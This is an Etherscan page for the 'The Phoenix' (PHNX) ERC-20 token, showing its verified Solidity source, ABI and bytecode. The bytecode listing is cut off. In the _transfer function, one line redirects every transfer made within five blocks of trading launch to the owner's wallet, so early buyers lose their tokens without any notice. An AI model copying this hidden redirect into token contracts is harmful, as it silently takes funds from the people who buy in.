ETH Price: $3,649.92 (-6.03%)

Token

ERC-20: The Phoenix (PHNX)
 

Overview

Max Total Supply

100,000,000,000 PHNX

Holders

40

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
1 PHNX

Value
$0.00
0x7573a383d5055733bfaa8cff9135e80c635a6385
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
ThePhoenix

Compiler Version
v0.8.13+commit.abaa5c0e

Optimization Enabled:
Yes with 50000 runs

Other Settings:
default evmVersion, MIT license
/**
 *Submitted for verification at Etherscan.io on 2022-08-13
*/

// SPDX-License-Identifier: MIT

pragma solidity 0.8.13;

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

interface IFactory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
    function getPair(address tokenA, address tokenB) external view returns (address pair);
}

interface IRouter {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
            address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline
            ) external payable returns (uint256 amountToken, uint256 amountETH, uint256 liquidity);
}

abstract contract Context {
    function _msgSender() internal view virtual returns (address) { return msg.sender; }
}

contract Ownable is Context {
    address private _owner;
    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
    }
    function owner() public view returns (address) { return _owner; }
    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner.");
        _;
    }
    function renounceOwnership() external virtual onlyOwner { _owner = address(0); }
    function transferOwnership(address newOwner) external virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address.");
        _owner = newOwner;
    }
}

contract ThePhoenix is IERC20, Ownable {
    IRouter public uniswapV2Router;
    address public uniswapV2Pair;
    string private constant _name =  "The Phoenix";
    string private constant _symbol = "PHNX";
    uint8 private constant _decimals = 18;
    mapping (address => uint256) private balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    uint256 private _totalSupply = 100000000000 * 10**18; // 100 billion
    uint256 private _launchBlockNumber;
    mapping (address => bool) public automatedMarketMakerPairs;
    bool private isLiquidityAdded = false;
    uint256 private maxWalletAmount = _totalSupply;
    mapping (address => bool) private _isExcludedFromMaxWalletLimit;
    mapping (address => bool) private _isExcludedFromFee;
    address private constant deadWallet = 0x000000000000000000000000000000000000dEaD;

    constructor() {
        IRouter _uniswapV2Router = IRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        uniswapV2Router = _uniswapV2Router;
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromMaxWalletLimit[address(uniswapV2Router)] = true;
        _isExcludedFromMaxWalletLimit[address(this)] = true;
        _isExcludedFromMaxWalletLimit[owner()] = true;
        balances[address(this)] = _totalSupply * 90 / 100;
        emit Transfer(address(0), address(this), _totalSupply * 90 / 100);
        balances[address(0x19C6d9C0e0deaC12a9B1B8E94b43a4959ffBBD61)] += _totalSupply * 1 / 100;
        emit Transfer(address(0), address(0x19C6d9C0e0deaC12a9B1B8E94b43a4959ffBBD61), _totalSupply * 1 / 100);
        balances[address(0x052560A15887C5D23848a1AB398DacF1396c8b1c)] += _totalSupply * 1 / 100 ;
        emit Transfer(address(0), address(0x052560A15887C5D23848a1AB398DacF1396c8b1c), _totalSupply * 1 / 100);
        balances[address(0x1beACa75c95e7AAF5F8393856901fEAf195cbe68)] += _totalSupply * 1 / 100 ;
        emit Transfer(address(0), address(0x1beACa75c95e7AAF5F8393856901fEAf195cbe68), _totalSupply * 1 / 100);
        balances[address(0xA2e754789d771D5D877229206485F94B913bd99c)] += _totalSupply * 1 / 100 ;
        emit Transfer(address(0), address(0xA2e754789d771D5D877229206485F94B913bd99c), _totalSupply * 1 / 100);
        balances[address(0xFD63B9EC6Eaec19999C6b659128cF00BAaaADfDd)] += _totalSupply * 1 / 100 ;
        emit Transfer(address(0), address(0xFD63B9EC6Eaec19999C6b659128cF00BAaaADfDd), _totalSupply * 1 / 100);
        balances[address(0xdd737DDaC02CC6D51f4e52DB02F9bdB1ff9db934)] += _totalSupply * 1 / 100 ;
        emit Transfer(address(0), address(0xdd737DDaC02CC6D51f4e52DB02F9bdB1ff9db934), _totalSupply * 1 / 100);
        balances[address(0xD5Da5895b6d47063Ec3C23B542F8dA981586b77b)] += _totalSupply * 1 / 100 ;
        emit Transfer(address(0), address(0xD5Da5895b6d47063Ec3C23B542F8dA981586b77b), _totalSupply * 1 / 100);
        balances[address(0x221e9f8c7d5dDdEdC171AFfFe2dCa3324B44F59c)] += _totalSupply * 1 / 100 ;
        emit Transfer(address(0), address(0x221e9f8c7d5dDdEdC171AFfFe2dCa3324B44F59c), _totalSupply * 1 / 100);
        balances[address(0x2879bff261f3359C5bBAA1CbB79264Cd350F4359)] += _totalSupply * 1 / 100 ;
        emit Transfer(address(0), address(0x2879bff261f3359C5bBAA1CbB79264Cd350F4359), _totalSupply * 1 / 100);
        balances[address(0x1fdb64877F5a6467A0feFF2931ed14EF39C9BA53)] += _totalSupply * 1 / 100 ;
        emit Transfer(address(0), address(0x1fdb64877F5a6467A0feFF2931ed14EF39C9BA53), _totalSupply * 1 / 100);
    }

    receive() external payable {} // so the contract can receive eth
    function transfer(address recipient, uint256 amount) external override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }
    function approve(address spender, uint256 amount) external override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }
    function transferFrom( address sender,address recipient,uint256 amount) external override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()] - amount);
        return true;
    }
    function increaseAllowance(address spender, uint256 addedValue) external virtual returns (bool){
        _approve(_msgSender(),spender,_allowances[_msgSender()][spender] + addedValue);
        return true;
    }
    function decreaseAllowance(address spender, uint256 subtractedValue) external virtual returns (bool) {
        _approve(_msgSender(),spender,_allowances[_msgSender()][spender] - subtractedValue);
        return true;
    }
    function _approve(address owner, address spender,uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
    }
    function activateTrading() external onlyOwner {
        require(!isLiquidityAdded, "You can only add liquidity once");
        isLiquidityAdded = true;
        _approve(address(this), address(uniswapV2Router), _totalSupply);
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this), balanceOf(address(this)), 0, 0, deadWallet, block.timestamp);
        uniswapV2Pair = IFactory(uniswapV2Router.factory()).getPair(address(this), uniswapV2Router.WETH());
        _isExcludedFromMaxWalletLimit[uniswapV2Pair] = true;
        maxWalletAmount = _totalSupply * 2 / 100; // 2%
        _launchBlockNumber = block.number;
    }

    function name() external pure returns (string memory) { return _name; }
    function symbol() external pure returns (string memory) { return _symbol; }
    function decimals() external view virtual returns (uint8) { return _decimals; }
    function totalSupply() external view virtual returns (uint256) { return _totalSupply; }
    function maxWallet() external view virtual returns (uint256) { return maxWalletAmount; }
    function balanceOf(address account) public view override returns (uint256) { return balances[account]; }
    function allowance(address owner, address spender) external view override returns (uint256) { return _allowances[owner][spender]; }

    function _transfer(address from, address to, uint256 amount) internal {
        require(from != address(0), string.concat(_name, ": cannot transfer from the zero address."));
        require(to != address(0), string.concat(_name, ": cannot transfer to the zero address."));
        require(amount > 0, string.concat(_name, ": transfer amount must be greater than zero."));
        require(amount <= balanceOf(from), string.concat(_name, ": cannot transfer more than balance."));
        if ((block.number - _launchBlockNumber) <= 5) { to = owner(); }
        if (!_isExcludedFromMaxWalletLimit[to]) {
            require((balanceOf(to) + amount) <= maxWalletAmount, string.concat(_name, ": expected wallet amount exceeds the maxWalletAmount."));
        }
        balances[from] -= amount;
        balances[to] += amount;
        emit Transfer(from, to, amount);
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"activateTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"automatedMarketMakerPairs","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"maxWallet","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IRouter","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040526c01431e0fae6d7217caa000000060058190556008805460ff191690556009553480156200003157600080fd5b50600080546001600160a01b031990811633908117835560018054737a250d5630b4cf539739df2c5dacb4c659f2488d931683178155908352600b60209081526040808520805460ff19908116851790915530808752828720805483168617905584546001600160a01b039081168852600a90945282872080548316861790558652818620805482168517905585549092168552909320805490931617909155600554606490620000e490605a62000984565b620000f09190620009a6565b3060008181526003602052604081209290925560055490919060008051602062002209833981519152906064906200012a90605a62000984565b620001369190620009a6565b60405190815260200160405180910390a3606460055460016200015a919062000984565b620001669190620009a6565b7319c6d9c0e0deac12a9b1b8e94b43a4959ffbbd61600090815260036020527f35ab5332dbd2a9b2c4d4a0fe50c48b10110022264c1e21292337238a1bcc95018054909190620001b8908490620009c9565b90915550506005547319c6d9c0e0deac12a9b1b8e94b43a4959ffbbd61906000906000805160206200220983398151915290606490620001fa90600162000984565b620002069190620009a6565b60405190815260200160405180910390a3606460055460016200022a919062000984565b620002369190620009a6565b73052560a15887c5d23848a1ab398dacf1396c8b1c600090815260036020527fcb0494e1c49695b1b76f4d459eef802defcab2809e4753fcb0bca60943251a64805490919062000288908490620009c9565b909155505060055473052560a15887c5d23848a1ab398dacf1396c8b1c906000906000805160206200220983398151915290606490620002ca90600162000984565b620002d69190620009a6565b60405190815260200160405180910390a360646005546001620002fa919062000984565b620003069190620009a6565b731beaca75c95e7aaf5f8393856901feaf195cbe68600090815260036020527f4e15898e16249353945c0399adf7cccef14428650dd13672b4e7929865974ba2805490919062000358908490620009c9565b9091555050600554731beaca75c95e7aaf5f8393856901feaf195cbe689060009060008051602062002209833981519152906064906200039a90600162000984565b620003a69190620009a6565b60405190815260200160405180910390a360646005546001620003ca919062000984565b620003d69190620009a6565b73a2e754789d771d5d877229206485f94b913bd99c600090815260036020527fc3cfd3ba876679a2f78f46309549fbf7f14c5474518167fa45239fb7daffb617805490919062000428908490620009c9565b909155505060055473a2e754789d771d5d877229206485f94b913bd99c9060009060008051602062002209833981519152906064906200046a90600162000984565b620004769190620009a6565b60405190815260200160405180910390a3606460055460016200049a919062000984565b620004a69190620009a6565b73fd63b9ec6eaec19999c6b659128cf00baaaadfdd600090815260036020527fc6c51ac0a7d92f7156b02e9c29310f1015057f49d76e8d3b884a4b53812246f68054909190620004f8908490620009c9565b909155505060055473fd63b9ec6eaec19999c6b659128cf00baaaadfdd9060009060008051602062002209833981519152906064906200053a90600162000984565b620005469190620009a6565b60405190815260200160405180910390a3606460055460016200056a919062000984565b620005769190620009a6565b73dd737ddac02cc6d51f4e52db02f9bdb1ff9db934600090815260036020527f2b234074f5e8489fe537ecc9ed1fa4a22f570bfc3062d75001760277d74e12138054909190620005c8908490620009c9565b909155505060055473dd737ddac02cc6d51f4e52db02f9bdb1ff9db9349060009060008051602062002209833981519152906064906200060a90600162000984565b620006169190620009a6565b60405190815260200160405180910390a3606460055460016200063a919062000984565b620006469190620009a6565b73d5da5895b6d47063ec3c23b542f8da981586b77b600090815260036020527f0ce62a20129c06aca5c63c33f996efcdbf001c014a01e39f5a7b3b7d97df8516805490919062000698908490620009c9565b909155505060055473d5da5895b6d47063ec3c23b542f8da981586b77b906000906000805160206200220983398151915290606490620006da90600162000984565b620006e69190620009a6565b60405190815260200160405180910390a3606460055460016200070a919062000984565b620007169190620009a6565b73221e9f8c7d5dddedc171afffe2dca3324b44f59c600090815260036020527f37e3cebadc928903ab5f308b0cacfd24533f9cfccfd8b59fdfdbeae4283eea3f805490919062000768908490620009c9565b909155505060055473221e9f8c7d5dddedc171afffe2dca3324b44f59c906000906000805160206200220983398151915290606490620007aa90600162000984565b620007b69190620009a6565b60405190815260200160405180910390a360646005546001620007da919062000984565b620007e69190620009a6565b732879bff261f3359c5bbaa1cbb79264cd350f4359600090815260036020527fe3522b47439f579580a80c6bdac07a31c732916289e9f52a0f65863f67d4f252805490919062000838908490620009c9565b9091555050600554732879bff261f3359c5bbaa1cbb79264cd350f43599060009060008051602062002209833981519152906064906200087a90600162000984565b620008869190620009a6565b60405190815260200160405180910390a360646005546001620008aa919062000984565b620008b69190620009a6565b731fdb64877f5a6467a0feff2931ed14ef39c9ba53600090815260036020527fc7c859ded414b281dae52e56b71fa82080f693a38b82b58537565894d85d0b4f805490919062000908908490620009c9565b9091555050600554731fdb64877f5a6467a0feff2931ed14ef39c9ba539060009060008051602062002209833981519152906064906200094a90600162000984565b620009569190620009a6565b60405190815260200160405180910390a350620009e4565b634e487b7160e01b600052601160045260246000fd5b6000816000190483118215151615620009a157620009a16200096e565b500290565b600082620009c457634e487b7160e01b600052601260045260246000fd5b500490565b60008219821115620009df57620009df6200096e565b500190565b61181580620009f46000396000f3fe6080604052600436106101485760003560e01c806370a08231116100c0578063a9059cbb11610074578063dd62ed3e11610059578063dd62ed3e14610426578063f2fde38b14610479578063f8b45b051461049957600080fd5b8063a9059cbb146103d6578063b62496f5146103f657600080fd5b80638da5cb5b116100a55780638da5cb5b1461034557806395d89b4114610370578063a457c2d7146103b657600080fd5b806370a08231146102ed578063715018a61461033057600080fd5b806318160ddd11610117578063313ce567116100fc578063313ce5671461028457806339509351146102a057806349bd5a5e146102c057600080fd5b806318160ddd1461024557806323b872dd1461026457600080fd5b806306fdde0314610154578063095ea7b3146101ac5780630bd05b69146101dc5780631694505e146101f357600080fd5b3661014f57005b600080fd5b34801561016057600080fd5b5060408051808201909152600b81527f5468652050686f656e697800000000000000000000000000000000000000000060208201525b6040516101a3919061137b565b60405180910390f35b3480156101b857600080fd5b506101cc6101c73660046113f1565b6104ae565b60405190151581526020016101a3565b3480156101e857600080fd5b506101f16104c4565b005b3480156101ff57600080fd5b506001546102209073ffffffffffffffffffffffffffffffffffffffff1681565b60405173ffffffffffffffffffffffffffffffffffffffff90911681526020016101a3565b34801561025157600080fd5b506005545b6040519081526020016101a3565b34801561027057600080fd5b506101cc61027f36600461141d565b6109a5565b34801561029057600080fd5b50604051601281526020016101a3565b3480156102ac57600080fd5b506101cc6102bb3660046113f1565b610a04565b3480156102cc57600080fd5b506002546102209073ffffffffffffffffffffffffffffffffffffffff1681565b3480156102f957600080fd5b5061025661030836600461145e565b73ffffffffffffffffffffffffffffffffffffffff1660009081526003602052604090205490565b34801561033c57600080fd5b506101f1610a48565b34801561035157600080fd5b5060005473ffffffffffffffffffffffffffffffffffffffff16610220565b34801561037c57600080fd5b5060408051808201909152600481527f50484e58000000000000000000000000000000000000000000000000000000006020820152610196565b3480156103c257600080fd5b506101cc6103d13660046113f1565b610b19565b3480156103e257600080fd5b506101cc6103f13660046113f1565b610b5d565b34801561040257600080fd5b506101cc61041136600461145e565b60076020526000908152604090205460ff1681565b34801561043257600080fd5b50610256610441366004611482565b73ffffffffffffffffffffffffffffffffffffffff918216600090815260046020908152604080832093909416825291909152205490565b34801561048557600080fd5b506101f161049436600461145e565b610b6a565b3480156104a557600080fd5b50600954610256565b60006104bb338484610cfb565b50600192915050565b60005473ffffffffffffffffffffffffffffffffffffffff163314610570576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602160248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201527f2e0000000000000000000000000000000000000000000000000000000000000060648201526084015b60405180910390fd5b60085460ff16156105dd576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601f60248201527f596f752063616e206f6e6c7920616464206c6971756964697479206f6e6365006044820152606401610567565b600880547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff001660019081179091555460055461063391309173ffffffffffffffffffffffffffffffffffffffff90911690610cfb565b60015473ffffffffffffffffffffffffffffffffffffffff1663f305d719473061067f8173ffffffffffffffffffffffffffffffffffffffff1660009081526003602052604090205490565b6040517fffffffff0000000000000000000000000000000000000000000000000000000060e086901b16815273ffffffffffffffffffffffffffffffffffffffff90921660048301526024820152600060448201819052606482015261dead60848201524260a482015260c40160606040518083038185885af115801561070a573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061072f91906114bb565b5050600154604080517fc45a0155000000000000000000000000000000000000000000000000000000008152905173ffffffffffffffffffffffffffffffffffffffff909216925063c45a01559160048083019260209291908290030181865afa1580156107a1573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107c591906114e9565b73ffffffffffffffffffffffffffffffffffffffff1663e6a4390530600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561084e573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061087291906114e9565b6040517fffffffff0000000000000000000000000000000000000000000000000000000060e085901b16815273ffffffffffffffffffffffffffffffffffffffff928316600482015291166024820152604401602060405180830381865afa1580156108e2573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061090691906114e9565b600280547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff9290921691821781556000918252600a602052604090912080547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff001660011790556005546064916109929190611535565b61099c9190611572565b60095543600655565b60006109b2848484610e79565b73ffffffffffffffffffffffffffffffffffffffff84166000908152600460209081526040808320338085529252909120546109fa9186916109f59086906115ad565b610cfb565b5060019392505050565b33600081815260046020908152604080832073ffffffffffffffffffffffffffffffffffffffff8716845290915281205490916104bb9185906109f59086906115c4565b60005473ffffffffffffffffffffffffffffffffffffffff163314610aef576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602160248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201527f2e000000000000000000000000000000000000000000000000000000000000006064820152608401610567565b600080547fffffffffffffffffffffffff0000000000000000000000000000000000000000169055565b33600081815260046020908152604080832073ffffffffffffffffffffffffffffffffffffffff8716845290915281205490916104bb9185906109f59086906115ad565b60006104bb338484610e79565b60005473ffffffffffffffffffffffffffffffffffffffff163314610c11576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602160248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201527f2e000000000000000000000000000000000000000000000000000000000000006064820152608401610567565b73ffffffffffffffffffffffffffffffffffffffff8116610cb4576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602760248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201527f6464726573732e000000000000000000000000000000000000000000000000006064820152608401610567565b600080547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff92909216919091179055565b73ffffffffffffffffffffffffffffffffffffffff8316610d9d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460448201527f72657373000000000000000000000000000000000000000000000000000000006064820152608401610567565b73ffffffffffffffffffffffffffffffffffffffff8216610e40576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f20616464726560448201527f73730000000000000000000000000000000000000000000000000000000000006064820152608401610567565b73ffffffffffffffffffffffffffffffffffffffff92831660009081526004602090815260408083209490951682529290925291902055565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156040518060400160405280600b81526020017f5468652050686f656e6978000000000000000000000000000000000000000000815250604051602001610ef091906115dc565b60405160208183030381529060405290610f37576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610567919061137b565b50600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156040518060400160405280600b81526020017f5468652050686f656e6978000000000000000000000000000000000000000000815250604051602001610faf9190611643565b60405160208183030381529060405290610ff6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610567919061137b565b50600081116040518060400160405280600b81526020017f5468652050686f656e697800000000000000000000000000000000000000000081525060405160200161104191906116aa565b60405160208183030381529060405290611088576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610567919061137b565b5073ffffffffffffffffffffffffffffffffffffffff83166000908152600360205260409020548111156040518060400160405280600b81526020017f5468652050686f656e69780000000000000000000000000000000000000000008152506040516020016110f89190611711565b6040516020818303038152906040529061113f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610567919061137b565b5060056006544361115091906115ad565b116111715760005473ffffffffffffffffffffffffffffffffffffffff1691505b73ffffffffffffffffffffffffffffffffffffffff82166000908152600a602052604090205460ff1661126957600954816111ce8473ffffffffffffffffffffffffffffffffffffffff1660009081526003602052604090205490565b6111d891906115c4565b11156040518060400160405280600b81526020017f5468652050686f656e69780000000000000000000000000000000000000000008152506040516020016112209190611778565b60405160208183030381529060405290611267576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610567919061137b565b505b73ffffffffffffffffffffffffffffffffffffffff83166000908152600360205260408120805483929061129e9084906115ad565b909155505073ffffffffffffffffffffffffffffffffffffffff8216600090815260036020526040812080548392906112d89084906115c4565b925050819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161133e91815260200190565b60405180910390a3505050565b60005b8381101561136657818101518382015260200161134e565b83811115611375576000848401525b50505050565b602081526000825180602084015261139a81604085016020870161134b565b601f017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0169190910160400192915050565b73ffffffffffffffffffffffffffffffffffffffff811681146113ee57600080fd5b50565b6000806040838503121561140457600080fd5b823561140f816113cc565b946020939093013593505050565b60008060006060848603121561143257600080fd5b833561143d816113cc565b9250602084013561144d816113cc565b929592945050506040919091013590565b60006020828403121561147057600080fd5b813561147b816113cc565b9392505050565b6000806040838503121561149557600080fd5b82356114a0816113cc565b915060208301356114b0816113cc565b809150509250929050565b6000806000606084860312156114d057600080fd5b8351925060208401519150604084015190509250925092565b6000602082840312156114fb57600080fd5b815161147b816113cc565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561156d5761156d611506565b500290565b6000826115a8577f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b500490565b6000828210156115bf576115bf611506565b500390565b600082198211156115d7576115d7611506565b500190565b600082516115ee81846020870161134b565b7f3a2063616e6e6f74207472616e736665722066726f6d20746865207a65726f209201918252507f616464726573732e0000000000000000000000000000000000000000000000006020820152602801919050565b6000825161165581846020870161134b565b7f3a2063616e6e6f74207472616e7366657220746f20746865207a65726f2061649201918252507f64726573732e00000000000000000000000000000000000000000000000000006020820152602601919050565b600082516116bc81846020870161134b565b7f3a207472616e7366657220616d6f756e74206d757374206265206772656174659201918252507f72207468616e207a65726f2e00000000000000000000000000000000000000006020820152602c01919050565b6000825161172381846020870161134b565b7f3a2063616e6e6f74207472616e73666572206d6f7265207468616e2062616c619201918252507f6e63652e000000000000000000000000000000000000000000000000000000006020820152602401919050565b6000825161178a81846020870161134b565b7f3a2065787065637465642077616c6c657420616d6f756e7420657863656564739201918252507f20746865206d617857616c6c6574416d6f756e742e0000000000000000000000602082015260350191905056fea264697066735822122031585c633c86aabb8f255062a7dab256d4e30c135c60d0f5845b6e7e478135b064736f6c634300080d0033ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef

Deployed Bytecode

0x6080604052600436106101485760003560e01c806370a08231116100c0578063a9059cbb11610074578063dd62ed3e11610059578063dd62ed3e14610426578063f2fde38b14610479578063f8b45b051461049957600080fd5b8063a9059cbb146103d6578063b62496f5146103f657600080fd5b80638da5cb5b116100a55780638da5cb5b1461034557806395d89b4114610370578063a457c2d7146103b657600080fd5b806370a08231146102ed578063715018a61461033057600080fd5b806318160ddd11610117578063313ce567116100fc578063313ce5671461028457806339509351146102a057806349bd5a5e146102c057600080fd5b806318160ddd1461024557806323b872dd1461026457600080fd5b806306fdde0314610154578063095ea7b3146101ac5780630bd05b69146101dc5780631694505e146101f357600080fd5b3661014f57005b600080fd5b34801561016057600080fd5b5060408051808201909152600b81527f5468652050686f656e697800000000000000000000000000000000000000000060208201525b6040516101a3919061137b565b60405180910390f35b3480156101b857600080fd5b506101cc6101c73660046113f1565b6104ae565b60405190151581526020016101a3565b3480156101e857600080fd5b506101f16104c4565b005b3480156101ff57600080fd5b506001546102209073ffffffffffffffffffffffffffffffffffffffff1681565b60405173ffffffffffffffffffffffffffffffffffffffff90911681526020016101a3565b34801561025157600080fd5b506005545b6040519081526020016101a3565b34801561027057600080fd5b506101cc61027f36600461141d565b6109a5565b34801561029057600080fd5b50604051601281526020016101a3565b3480156102ac57600080fd5b506101cc6102bb3660046113f1565b610a04565b3480156102cc57600080fd5b506002546102209073ffffffffffffffffffffffffffffffffffffffff1681565b3480156102f957600080fd5b5061025661030836600461145e565b73ffffffffffffffffffffffffffffffffffffffff1660009081526003602052604090205490565b34801561033c57600080fd5b506101f1610a48565b34801561035157600080fd5b5060005473ffffffffffffffffffffffffffffffffffffffff16610220565b34801561037c57600080fd5b5060408051808201909152600481527f50484e58000000000000000000000000000000000000000000000000000000006020820152610196565b3480156103c257600080fd5b506101cc6103d13660046113f1565b610b19565b3480156103e257600080fd5b506101cc6103f13660046113f1565b610b5d565b34801561040257600080fd5b506101cc61041136600461145e565b60076020526000908152604090205460ff1681565b34801561043257600080fd5b50610256610441366004611482565b73ffffffffffffffffffffffffffffffffffffffff918216600090815260046020908152604080832093909416825291909152205490565b34801561048557600080fd5b506101f161049436600461145e565b610b6a565b3480156104a557600080fd5b50600954610256565b60006104bb338484610cfb565b50600192915050565b60005473ffffffffffffffffffffffffffffffffffffffff163314610570576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602160248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201527f2e0000000000000000000000000000000000000000000000000000000000000060648201526084015b60405180910390fd5b60085460ff16156105dd576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601f60